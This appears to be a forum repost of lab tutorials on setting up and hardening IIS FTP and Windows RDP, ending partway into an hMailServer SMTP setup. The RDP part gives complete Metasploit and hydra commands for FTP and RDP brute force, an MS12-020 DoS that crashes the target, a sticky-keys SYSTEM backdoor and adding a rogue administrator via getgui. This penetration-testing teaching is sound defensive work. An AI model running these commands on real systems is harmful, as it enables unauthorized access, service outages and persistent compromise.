05-10-2020, 05:26 AM
| 0 | 0 | ||
FTP stands for File Transfer Protocol used for the transfer of computer files such as docs, PDF, multimedia and etc between a client and server on a computer network via port 21. Port 21 is default port which gets open when FTP is activated for sharing data.
Let’s start!!
Install & Configure FTP Server on Windows 7
Firstly we are going to set up the FTP server on our Windows 7 for sharing the file in a LAN. In order to accomplish that we are going to open Control Panel >Programs >Programs and Features >Turn Windows features on or off as shown below.
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-EfQ9uoDX-_4/Wbe09LieT6I/AAAAAAAARU0/N22TxRRHHR4m_QR7BE0sDtTKyfeHSfD2QCLcBGAs/s1600/1.png?w=687&ssl=1)
Here Expand Internet Information Services and check the FTP Server option.
Also, ensure that FTP Extensibility and FTP Service are both checked as shown below and click OK to begin Installation.
This Installs the IIS and FTP Service Manager, be patient it might take some time.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-WWrmC_5ZNlo/Wbe0-r9CnfI/AAAAAAAARVU/TMsCEoFs-Ck1aLU1dRje0Ta9Qi-OfO6QQCLcBGAs/s1600/2.png?w=687&ssl=1)
Configure FTP Site in IIS
Now to open IIS, we will open Control Panel after then select System and Security and here we will open Administrative Tools. In Administrative Tools, you will find IIS Manager as shown below, open it.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-XFkz2TUbkAU/Wbe1A9Sov3I/AAAAAAAARWA/WRPGbON-XHE2pTxbini7tcN4oIT9edd0wCLcBGAs/s1600/3.png?w=687&ssl=1)
The new window of Internet information IIS Manager will come up; right-click Sites given in left panel under Connections, select Add FTP Site.
This will open a new window as shown below.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-ImallBWOZwI/Wbe1BCtX6wI/AAAAAAAARWI/M5VwyTcpblAg15FfT9aWj0xecDaupmENwCLcBGAs/s1600/4.png?w=687&ssl=1)
Enter the name of the FTP site of your choice, as shown in given image ignite.
Enter the path to the FTP folder you want to use to send and receive files. In our case, we created a folder named ftp in location C:\ftp.
And click next.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-xTp4WF_Q8Po/Wbe1BalzbxI/AAAAAAAARWM/h9zcytJ-EFs-YzZkZL8G6nmvB6u1x46WACLcBGAs/s1600/5.png?w=687&ssl=1)
Binding and SSL Settings, we will bind our IPv4 address to the server by allowing following setting then click on next.
- Enter IP:192.168.1.128 and Port: 21.
- Enable the checkbox for Start FTP site automatically
- In SSL option select No SSL and click next.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-4HpxX0ep-yA/Wbe1BkG9iNI/AAAAAAAARWQ/cRIZ2kvS-pUgSCTmT4oDM-EpB8uhwZvPACLcBGAs/s1600/7.png?w=687&ssl=1)
Allow following setting in Authentication and Authorization for your FTP site and then click on Finish.
Authentication: Basic
Authorization: specific users (pc7)
Permission: read and write
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-6bNox5PLzFM/Wbe1BmpcuDI/AAAAAAAARWU/NWTny6h-7DYb7Umh7Ne2lqo58-UOCNj3wCLcBGAs/s1600/6.png?w=687&ssl=1)
From the given image, you can see we had successfully configured an FTP server for Ignite. Now let’s try to connect with it for sharing files.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-XGFvpbWwTK0/Wbe1B9IPBvI/AAAAAAAARWY/-g5dRWdCo5Qmgis7xi6SxC6EHQ84eS6mgCLcBGAs/s1600/8.png?w=687&ssl=1)
Scanning FTP with nmap
An attacker may take help of nmap to verify whether port 21 is activated or not. For FTP penetration, we are also using nmap in order to scan the targeted system (192.168.1.128) for open FTP port.
nmap -p 21 192.168.1.128
1
nmap -p 21 192.168.1.128
If file transfer service is allowed then nmap will show OPEN as a state for port 21, as shown in the given image.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-_nX1NufWQSA/Wbe09Jsk8EI/AAAAAAAARUw/5RrQ7C-PT8s5jE9n0lSMCuc6D1rXyKtNACLcBGAs/s1600/10.png?w=687&ssl=1)
Connect client to FTP Server through WinSCP
WinSCP is a free software which is used to access the FTP server. You can download it from
[To see content please register here]
.- Protocol to: FTP
- Encryption To: No Encryption
- Hostname: IP of the FTP Server
- Port: 21
- Username and Password: Windows login credentials of the user.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-YJg5tuPF0FM/Wbe1CCPgMgI/AAAAAAAARWc/OSSFjLSNvtgwp605sLLuwAZlJ_NnPJZCACLcBGAs/s1600/9.png?w=687&ssl=1)
As you can see I have successfully connected to my FTP server which has a file called demo.txt.
![[Image: 10.2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-QIQ-l0vhmwM/Wbe09F2TgWI/AAAAAAAARU4/98-9RmtZ_HseUiY9C31BmkFcc8i6zYlrQCLcBGAs/s1600/10.2.png?w=687&ssl=1)
Version Enumeration on FTP
Now, let’s try to get the FTP version through ftp_version on Metasploit
Open the terminal in your Kali Linux and Load Metasploit framework now type the following command to scan for FTP version.
use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > set rhosts 192.168.1.128
msf auxiliary(ftp_version) > exploit
1
2
3
use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > set rhosts 192.168.1.128
msf auxiliary(ftp_version) > exploit
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-rGbVQiepJcI/Wbe09kI5vWI/AAAAAAAARU8/h4a2ioSHT8YW3rA5zVxbSeuPGLUjJvOOwCLcBGAs/s1600/11.png?w=687&ssl=1)
Hiding Banner
Open IIS Manager.
Click on Features View has given in the bottom of the window.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-8v71SDS3coU/Wbe09qSOZ-I/AAAAAAAARVA/rfkkMV8CJvswEvQbsjkwWGhzYMsma6elACLcBGAs/s1600/12.png?w=687&ssl=1)
A new window for FTP messages will come up where you can change Message Behavior.
- Enable suppress default banner
- Enable Show detailed messages for local request
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-52ee3b3_ISo/Wbe090ITScI/AAAAAAAARVE/m6Blg5Ko2TU-LsV7ofbsTPp19x0tAUbzQCLcBGAs/s1600/13.png?w=687&ssl=1)
You can verify it by executing following command in Kali Linux for NMAP version scan.
nmap -p 21 -sV 192.168.1.128
1
nmap -p 21 -sV 192.168.1.128
As you can see that our FTP version is no longer visible to anybody.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-AmKz7Mccs4Y/Wbe0-a96kHI/AAAAAAAARVM/zmTCRZPs5V4Y_Qa_5qy_bAQgt1uUv5m1QCLcBGAs/s1600/14.png?w=687&ssl=1)
FTP Brute force Attack
Let’s try to make Brute force attack on our FTP Server using Metasploit.
Open the terminal in your Kali Linux and Load Metasploit framework now type the following command to Brute force FTP login.
use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.1.128
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit
1
2
3
4
5
6
use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.1.128
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit
From the given image, you can observe that our FTP server is not secure against brute force attack because it is showing the matching combination of username and password for login. So let’s protect our FTP server against Brute force.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-j5AnBDxBi10/Wbe0-Ml_miI/AAAAAAAARVI/SjcV0xrrljQcvFZI14dfEb1_AMw0DLcfACLcBGAs/s1600/18.png?w=687&ssl=1)
Secure FTP server against Brute Force Attack
Open IIS Manager
Now open FTP IPv4 Address and Domain Restrictions. Here we are going to allow only a particular IP address to access the FTP server. This will allow only valid IP to get connect with FTP.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-HalSIluzPw0/Wbe0-oo4pZI/AAAAAAAARVQ/wBZCl9gJB74CHr6JL_9tPYOZykagU0LXQCLcBGAs/s1600/19.png?w=687&ssl=1)
Allow specific IP to connect FTP
Now following given below step:
- Click on FTP IPv4 Address and Domain Restrictions
- Click on Add Allow Entry from the Actions Tab in the right panel
- Select Specific IP Address and enter the IP address
- Click OK
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-weSh8Ho2jr8/Wbe0-wBwueI/AAAAAAAARVY/CGFd9Hy0RiMd18AZVFG3_wbmR2sniW49QCLcBGAs/s1600/20.png?w=687&ssl=1)
Restrict IPs to connect FTP
Now repeat the step with some changes to restrict other IPs for denying to access FTP services.
Now following given below step:
- Click on FTP IPv4 Address and Domain Restrictions
- Click on Add deny Entry from the Actions Tab in the right panel
- Select Specific IP Address and enter the IP address
- Click OK
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-WdfYHGGH1Zw/Wbe0_HHXY6I/AAAAAAAARVc/TQtayDcovj8feAzO-ZmPlEuEbhDViFgUgCLcBGAs/s1600/21.png?w=687&ssl=1)
Let’s verify above setting by Brute force again in the same way we did before. From the given image, you can observe though it is showing incorrect combination for correct credentials also.
![[Image: 22.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-U1avIhum20s/Wbe0_Vm2N5I/AAAAAAAARVg/vKLasM7vmF4wmC4VlLvS22XqSRdJ68VMACLcBGAs/s1600/22.png?w=687&ssl=1)
FTP Port Transfer
You can forward port 21 on another port for increasing server security although to perform this you need to open IIS.
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-b6M42R2-sIM/Wbe0_Q8rnCI/AAAAAAAARVk/fESlJc82qYYNLh4zgP_e9g_Wa54JE-FHQCLcBGAs/s1600/23.png?w=687&ssl=1)
Now click on the Bindings on Actions Tab.
It will open a window as shown below where it is showing that FTP service is activated on port 21, now click on edit to replace this port into another.
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-n9lQZ4ONxNQ/Wbe0_nC8riI/AAAAAAAARVo/_IO1RwYS3xcNekJo49oUEqcxo5aThegVQCLcBGAs/s1600/24.png?w=687&ssl=1)
From the given image you can see we have are now using port 5000 for FTP services.
![[Image: 25.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-NyZ-_qSPbzM/Wbe0_9D60eI/AAAAAAAARVs/YAZEHpcjUyU59oj26ho_4ACjVo3_ydw5gCLcBGAs/s1600/25.png?w=687&ssl=1)
Now let’s check using nmap
nmap -p 5000 -sV 192.168.1.128
1
nmap -p 5000 -sV 192.168.1.128
As you can see the FTP service has been shifted to port 5000
![[Image: 26.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-UqFWKlrHbrw/Wbe0_zq9YcI/AAAAAAAARVw/1ajmtBsouCM-PLiA35KLo7imldHg3VL0ACLcBGAs/s1600/26.png?w=687&ssl=1)
Now to verify if the service is actually running on port 5000 let’s login into FTP server using WinSCP and this time using port 5000 as shown below
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-J6wbo3l8jdE/Wbe1AFmRomI/AAAAAAAARV0/MyBSZgG0JLUqGj4Yb-WZkFSZr0eIXvwEACLcBGAs/s1600/27.png?w=687&ssl=1)
Great!!! We are successfully connected with FTP server via port 5000
![[Image: 28.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-mDJVCVKIod0/Wbe1AUYSaJI/AAAAAAAARV4/W7K4ArWpyzobH9eO9raxcIYY2KITrjk2QCLcBGAs/s1600/28.png?w=687&ssl=1)
FTP Log Monitoring
In IIS Manager we can also manage Logs of our FTP Server. Here, we can Schedule the Logging and also manage the size of logs and Location of Logs For monitoring ftp log follow given below steps:
Open FTP Logging in the Features View.
- The format of the log file: click on the W3C field and then select the desired option such as date, time, client IP and etc.
- Directory: browse a location where you want to save the logs
- Schedule: Daily
![[Image: 29.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Mah3PBRnAZ4/Wbe1AWfWQOI/AAAAAAAARV8/7U2mE-F4qaciwq78_SvAC253J8awdqs3QCLcBGAs/s1600/29.png?w=687&ssl=1)
Now if you want to view logs of FTP server you can open the directory which you have browsed for saving logs i.e. C:\inerpub\logs\Logsfiles
From given below image you can observe logs for FTP login.
![[Image: 30.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-7Vp9C8HVW2s/Wbe1A6XmPwI/AAAAAAAARWE/FxcXpjfOM_EfbajL6vqu6E2TSonykLUqQCLcBGAs/s1600/30.png?w=687&ssl=1)
In this article, we are discussing Remote Desktop penetration testing in four scenarios. Through that, we are trying to explain how an attacker can breach security in a different- different scenario and what types of the major step should take by admin while activating RDP services to resist against attack.
Remote Desktop Protocol (RDP) also known as “Terminal Services Client” is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. RDP servers are built into Windows operating systems; by default, the server listens on TCP port 3389.
For more details visit Wikipedia.org
Let’s starts!!!
Suppose admin has allowed remote desktop service in his system for local network connection.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-FZ6xzoSJArI/WbTtgdavHnI/AAAAAAAARSw/a8MmTGasIXMLxu648clE30sQkNMqSFfrQCLcBGAs/s1600/1.png?w=687&ssl=1)
Scanning RDP Port with nmap
An attacker may take help of nmap to verify whether port 3389 is activated or not. For RDP penetration we are also using nmap in order to scan the targeted system (192.168.0.102) for open RDP port.
nmap -p 3389 192.168.0.102
1
nmap -p 3389 192.168.0.102
If remote desktop service is allowed then nmap will show OPEN as a state for port 3389, as shown in the given image.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-u4iOQMdGmI8/WbTtj045AbI/AAAAAAAARTc/ywzmvxssUOEUxAPAUlVKTkgiO9XLvFJrACLcBGAs/s1600/2.png?w=687&ssl=1)
Brute force attack on RDP
In order to connect with RDP, we always need to login credential as an authenticated connection. A valid user can enter his username and password but an invalid user (attacker) cannot able to guess correct credential for login, therefore, they retrieve credential through brute force attack.
We are using hydra to demonstrate a brute force attack on RDP.
Hydra: It is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.
Open terminal in your Kali Linux and type following command:
hydra -V -f -L /root/Desktop/user.txt -P /root/Desktop/dict.txt rdp://192.168.0.102
1
hydra -V -f -L /root/Desktop/user.txt -P /root/Desktop/dict.txt rdp://192.168.0.102
From given below image you can read the username: ignite and password: 123456 which we have to retrieve through brute force attack on port 3389.
Using this credential attacker can login for Remote Desktop service.
![[Image: hydra.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-_upYmF3gZEk/WbYw3E7R0mI/AAAAAAAARUg/s_YSZqRb07MOanhi6X_DdrnjGI7lA0H_wCLcBGAs/s1600/hydra.png?w=687&ssl=1)
Add Security Policy against brute force
Admin can protect their network from brute force attack using Account lockout policy. Configure following policies under Security setting > Account policies > Account lockout policies
Account Lockout duration: Policy which defines the time period that a locked out account remains locked until become automatically unlock by itself or reset by admin. It will lock the account for a specified time when user will cross the login attempt set by account lockout threshold.
Account lockout threshold: Policy which defines the number of fail logon attempt and will lock the account for some period of time specified by Account lockout duration. It will allow a maximum number of specified attempts for sign-in into your account.
Rest Account lockout counter after Policy which defines the time period that must elapse after a failed logon attempt. The reset time must be less than or equal to the Account lockout duration.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-x4BIY2toNTA/WbTtleSOR3I/AAAAAAAARTs/SiT3zZRXEEMM9SPGSIaUBiIF4Ed7qIO8wCLcBGAs/s1600/4.png?w=687&ssl=1)
Account Lockout duration: 30 minutes
Account lockout threshold: 2 invalid login attempts
Rest Account lockout counter after 30 minutes
If the number of attempts is greater than the value of the Account lockout threshold, the attacker could potentially lock every account.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-xo6USg1Y9Ls/WbTtmU7bv4I/AAAAAAAART0/Y_BfDVMLgbMFGkc8Vm-LEm6cTO-d9fXwgCLcBGAs/s1600/5.png?w=687&ssl=1)
Now let’s test Account lockout policy by again making brute force attack on port 3389.
hydra -V -f -l ignite -P /root/Desktop/dict.txt rdp://192.168.0.102
1
hydra -V -f -l ignite -P /root/Desktop/dict.txt rdp://192.168.0.102
When attacker retrieves the username and password, he will surely use them for login but as you can see it took more than 2 attempts to crack the password therefore according to set policies the account should be get locked for 30 minutes.
![[Image: 6.1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-eTI72f_7hG0/WbTtmesMNLI/AAAAAAAART4/pnkeYLnCA3Q4M2x6bE0kJylITd3Abth0QCLcBGAs/s1600/6.1.png?w=687&ssl=1)
Let’s assure it by login into remote desktop
Open the terminal and type “rdesktop 192.168.0.102 <target IP>” when you will get target screen, enter username and password which have to retrieve from brute force.
From the given image you can observe that we have entered above-discovered username and password ignite: 12345.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-3ZrIoAqFHTc/WbTtmYJiKwI/AAAAAAAART8/EZgkjTKIYpQ8EYC9XRWtiEE4DBSQevmvACLcBGAs/s1600/6.png?w=687&ssl=1)
When you (attacker) will submit your credential then it will give you a message that current account has been locked out and cannot be login as shown in the given image.
This will lock the account of the user ignite for 30 minutes and hence admin will come to know that someone has tried brute force attack for unauthorized access.
In this way, we can protect the brute force attack for unauthorized access.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-TaM3Pwaqk1c/WbTtnOx6KfI/AAAAAAAARUI/a_lblkhJ2nEW5YEzV5iGe1FCiemFkNXfACLcBGAs/s1600/7.png?w=687&ssl=1)
Scan port 3389 for DOS attack
Many times in order to identify whether the host is vulnerable to RDP or not, attacker use exploit MS12-020-check to test its strength.
Open the terminal in your Kali Linux and Load Metasploit framework now type the following command to scan for vulnerability.
use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > set rhosts 192.168.0.102
msf auxiliary(ms12_020_check) >set rport 3389
msf auxiliary(ms12_020_check) > exploit
1
2
3
4
use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > set rhosts 192.168.0.102
msf auxiliary(ms12_020_check) >set rport 3389
msf auxiliary(ms12_020_check) > exploit
From the given image you can, it is showing target is vulnerable, now you can use Google to find its exploit for the attack.
![[Image: 8.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-DVPDu5-M86s/WbTtnPRdt1I/AAAAAAAARUE/tnDVXFy9LnUxP_5sWG6Yk59-VRjPh1_9gCLcBGAs/s1600/8.1.png?w=687&ssl=1)
Once attack knows that target port 3389 is vulnerable MS12-020-check then he will surely try to make an attack with Ms12-0200maxchannelids. This will launch a DOS attack on the target system.
Now Type the following command for DOS attack which will crash the system.
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.0.102
msf auxiliary(ms12_020_maxchannelids) > set rport 3389
msf auxiliary(ms12_020_maxchannelids) > exploit
1
2
3
4
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.0.102
msf auxiliary(ms12_020_maxchannelids) > set rport 3389
msf auxiliary(ms12_020_maxchannelids) > exploit
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-iKwxFEDD1D4/WbTtnLRr3AI/AAAAAAAARUA/B-I27Meaa9oN8TIonmAjGCPeDaEFjvkOgCLcBGAs/s1600/8.png?w=687&ssl=1)
From given below image you can notice the target is system is shutting down due to some problem.
The criminal executor of DoS attacks often targets sites or services hosted on high-profile web servers such as banks or credit card payment gateways to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-1iqvgBqhVms/WbTtnyMLC_I/AAAAAAAARUM/xwNUENi7f-caqP5fuDqfF8dOeOScZg9QgCLcBGAs/s1600/9.png?w=687&ssl=1)
Enable RDP in Victims PC (2nd Scenario)
If an attacker has hacked victim system in which RDP service is not enabled then attacker himself can activate this service using post exploitation module built by Rapid 7 inside Metasploit.
Now to perform this we must need a meterpreter session of the target system. From the given image you can notice that have already meterpreter session of the target system.
Here we have meterpreter session 1 through multi handler and session 2 from bypassuac for admin privileges.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-XRgvsfnw1yg/WbTtgXtugvI/AAAAAAAARS0/MSreLVJq6lsO7GwOAmS2qFn1RpyeSjn8wCLcBGAs/s1600/10.png?w=687&ssl=1)
Now type the following command for generation post exploitation to enable RDP service.
use post/windows/manage/enable_rdp
msf post(enable_rdp) > set session 2
msf post(enable_rdp) >exploit
1
2
3
use post/windows/manage/enable_rdp
msf post(enable_rdp) > set session 2
msf post(enable_rdp) >exploit
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-6ksCyOtri3M/WbTtgE6_LOI/AAAAAAAARS4/Xr--1SunJzE8gAxpvFJ7wfyKQIeuHDOWwCLcBGAs/s1600/11.png?w=687&ssl=1)
This module makes it possible to apply the ‘sticky keys’ hack to a session with appropriate rights. The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP login screen or via a UAC confirmation dialog.
use post/windows/manage/sticky_keys
msf post(sticky_keys) > set session 2
msf post(sticky_keys) > exploit
1
2
3
use post/windows/manage/sticky_keys
msf post(sticky_keys) > set session 2
msf post(sticky_keys) > exploit
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-fNld-2oj2ak/WbTtg7JIuoI/AAAAAAAARS8/PoCFwaqCVsYk3fQF62S2eQWgL1iDNEIHwCLcBGAs/s1600/12.png?w=687&ssl=1)
Now connect with the remote desktop using the following command:
rdesktop 192.168.0.102
1
rdesktop 192.168.0.102
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-IgLIsTkP7jU/WbTtiXihewI/AAAAAAAARTM/0Gg3ar7mIXQZtLD_VKjQznxhVe84iFsiQCLcBGAs/s1600/13.png?w=687&ssl=1)
It will ask to submit the credential for login but we are not aware of it, therefore, we had launched stick key attack above so that we can access victim command prompt by hitting 5 times shift key as shown in the given image.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-J5F3ncQXSSI/WbTthCQml0I/AAAAAAAARTA/QolvO5hA810vaFBcLvHmD6MSnoZ70TC1QCLcBGAs/s1600/14.png?w=687&ssl=1)
Another way to enable RDP
When you are holding a meterpreter session of victim’s system type following command which enables RDP service moreover set credential of your own choice.
meterpreter> run getgui -e -u raaz -p 1234
1
meterpreter> run getgui -e -u raaz -p 1234
From the given image you can observe it has edited user raaz with password 1234 into “Remote Desktop Users” and in “Administrators”. Now you can login with the created user, connect with the remote desktop using the following command:
rdesktop 192.168.0.102
1
rdesktop 192.168.0.102
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-50Vuzl-0FQI/WbTthyOP19I/AAAAAAAARTE/BW6Bdlf5sO8ark_c-7R4Zr8ee4G6KmkPwCLcBGAs/s1600/15.png?w=687&ssl=1)
Enter username: raaz and password: 1234 for login.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-HsAlzwraO5o/WbTth6PnpeI/AAAAAAAARTI/wJ_W_CsU_mQw4oFM4Nxrg9wfxiDso6mzgCLcBGAs/s1600/16.png?w=687&ssl=1)
Awesome!!! We had successfully login into the remote system.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-nDfc-hatvag/WbTtiiMx_9I/AAAAAAAARTQ/vIVKSjWAmc0Lrpv5jE7GyEXnQnJSjCT-gCLcBGAs/s1600/17.png?w=687&ssl=1)
Port Forwarding (3rd scenario)
You can forward port 3389 on another port for increasing system security although to perform this in your window operating system explore the following location through registry editor.
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
1
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
From the given image you can see in the right panel port number is highlighted, Click on it.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-barSxuXIRo0/WbTtj_Mv6PI/AAAAAAAARTY/Z66S4kPfyMg0Tmzgrz31zatS_V5CTgK_ACLcBGAs/s1600/18.png?w=687&ssl=1)
Shift Port from 3389 to specific port number
You will get an edit DWORD window where that you can edit the 32-bit value. By default, it will show d3d which is hexadecimal value for 3389.
Replace 3389 value from another value of your choices such as 3314 and select hexadecimal as a base which will convert 3314 into cf2.
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-orEHhio07lY/WbTtjOZttcI/AAAAAAAARTU/3UrVaHuYgrUTDXkt1lPYLOUAmu2TSpiVACLcBGAs/s1600/19.png?w=687&ssl=1)
From the given image you can see port 3314 is open now.
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-2sk_xD_Fu0A/WbTtkG0lRQI/AAAAAAAARTg/Yb5laH2kCXUtOAS-dE1sP14tmyr7e5M5gCLcBGAs/s1600/20.png?w=687&ssl=1)
Secure RDP through window firewall (4th Scenario)
Open window Firewall with Advance settings then move into its inbound rules and explore Remote Desktop (TCP-In) for domain profile for adding security filter by making some change in firewall setting.
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-m3TujWpcigw/WbTtl8CHK7I/AAAAAAAARTw/_yfUjxXiOiggZv9XzO0lOzfx3-AZzeQ8wCLcBGAs/s1600/22.png?w=687&ssl=1)
Allow traffic from specific IP
After that, it will open a window for changing its properties, click on the scope. Here you will get two panels for the type of connection establishes local and remote IP address.
In remote IP address choose the 2nd option for specific IP address and enter an IP to which you want to allow for connecting remote desktop services as shown in the given image.
It will stop all traffic coming from another IP and increase the security of your network against any kind of attack.
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-QkMCeaDImLY/WbTtleuKTCI/AAAAAAAARTo/3aqw3DlOStAAbh8ZjSNF1mUSgTljtEuwACLcBGAs/s1600/23.png?w=687&ssl=1)
From Wikipedia
Hello friends! Today we are discussing “configuration of SMTP mail server” for sending mail in your LAN network.
SMTP stands for simple mail transfer protocol communication between mail servers uses TCP port 25 Mail clients on the other hand; often submit the outgoing emails to a mail server on port 587. For retrieving messages, client applications usually use either IMAP or POP3.
POP3 stands for Post Office Protocol (POP) is an application-layer Internet standard protocol used by local e-mail clients to retrieve e-mail from a remote server over a TCP/IP connection. It uses port 110 for receiving mail
IMAP stands for Internet Message Access Protocol (IMAP) is also an Internet standard protocol used by e-mail clients to retrieve e-mail messages from a mail server over a TCP/IP connection. It uses port 143 for receiving mail
Let’s start!!
Configure static IP in your network for SMTP server as shown below.
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-U3iZ-Lw5DkY/WbJjKgy_dEI/AAAAAAAARPw/bpN9nGZDML0Dt_zqf6Hz40rdrKGy_qQlwCLcBGAs/s1600/1.png?w=687&ssl=1)
Download hmailserver and install it in your system (windows). This installation program will create a hmailServer user with administration rights. Here you need to give the password for admin so that you will be able to manage its installation.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-NM2AL1M-xOk/WbJjNWi-skI/AAAAAAAARQY/tDd4wrzU0r42lbMyo1zU6NITOm5HqzQ4wCLcBGAs/s1600/2.png?w=687&ssl=1)
Click on connect which will connect hmailserver to localhost.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-5nlvOuO5k2s/WbJjOQU1RKI/AAAAAAAARQo/tzEnD6iq6eYenH35Z7CVwGJobZfqpQE_QCLcBGAs/s1600/3.png?w=687&ssl=1)
Enter admin password to login into hmailserver and click on OK to continue.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-J7s_6LyP1_c/WbJjOhQQtkI/AAAAAAAARQs/OjR2m5r7B2IX64swHR3I2VfHEXCBScvXwCLcBGAs/s1600/4.png?w=687&ssl=1)
You can take help of nmap to ensure whether SMTP with other Services such as IMAP and POP3 has been running successfully on the remote system (192.168.1.104).
nmap 192.168.0.104
1
nmap 192.168.0.104
From given image to you can observe that all three services SMTP POP3 IMAP are running on port 25 110 and 143 respectively.
Also, new port 587 will get open for submission (SMTP outgoing mail).
![[Image: 5.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-zJEqQtgdYGg/WbJjO4kmQcI/AAAAAAAARQw/GpNEoyNYNcgk3JiVbwzDxbqTAtYvVidpwCLcBGAs/s1600/5.1.png?w=687&ssl=1)
After login into hmailserver, it will ask to add domain name, therefore, click on ADD domain.
